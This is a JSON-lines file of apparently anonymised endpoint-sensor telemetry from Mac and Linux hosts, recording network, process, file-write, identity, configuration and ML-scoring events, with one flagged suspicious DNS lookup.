-{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"} -{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"} -{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"} -{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"} -{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} 